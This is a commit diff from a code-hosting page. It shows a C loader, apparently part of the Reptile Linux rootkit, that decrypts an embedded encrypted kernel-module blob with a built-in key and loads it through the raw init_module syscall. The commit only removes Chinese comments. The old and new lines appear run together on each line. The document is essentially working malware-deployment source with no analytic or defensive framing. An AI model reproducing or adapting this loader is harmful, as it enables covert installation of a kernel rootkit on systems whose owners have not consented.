waiwai 2 months ago
commit 094a37d25c

@ -11,29 +11,27 @@
#include "encrypt.h" #include "encrypt.h"
// 包含 reptile.ko.inc 文件中的二进制数据
static char reptile_blob[] = { static char reptile_blob[] = {
#include "reptile.ko.inc" #include "reptile.ko.inc"
}; };
// 定义 init_module 宏,调用系统调用 __NR_init_module
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void) int main(void)
{ {
int ret = EXIT_FAILURE; // 初始化返回值为失败 int ret = EXIT_FAILURE;
size_t len; // 模块长度 size_t len;
void *module_image; // 模块镜像指针 void *module_image;
len = sizeof(reptile_blob); // 获取模块长度 len = sizeof(reptile_blob);
do_decrypt(reptile_blob, len, DECRYPT_KEY); // 解密模块数据 do_decrypt(reptile_blob, len, DECRYPT_KEY);
module_image = malloc(len); // 分配内存 module_image = malloc(len);
memcpy(module_image, reptile_blob, len); // 复制解密后的数据到分配的内存中 memcpy(module_image, reptile_blob, len);
init_module(module_image, len, ""); // 初始化模块 init_module(module_image, len, "");
if (errno == 37) // 检查错误码是否为 37 (模块已存在) if (errno == 37)
ret = EXIT_SUCCESS; // 设置返回值为成功 ret = EXIT_SUCCESS;
free(module_image); // 释放内存 free(module_image);
return ret; // 返回结果 return ret;
} }
Loading…
Cancel
Save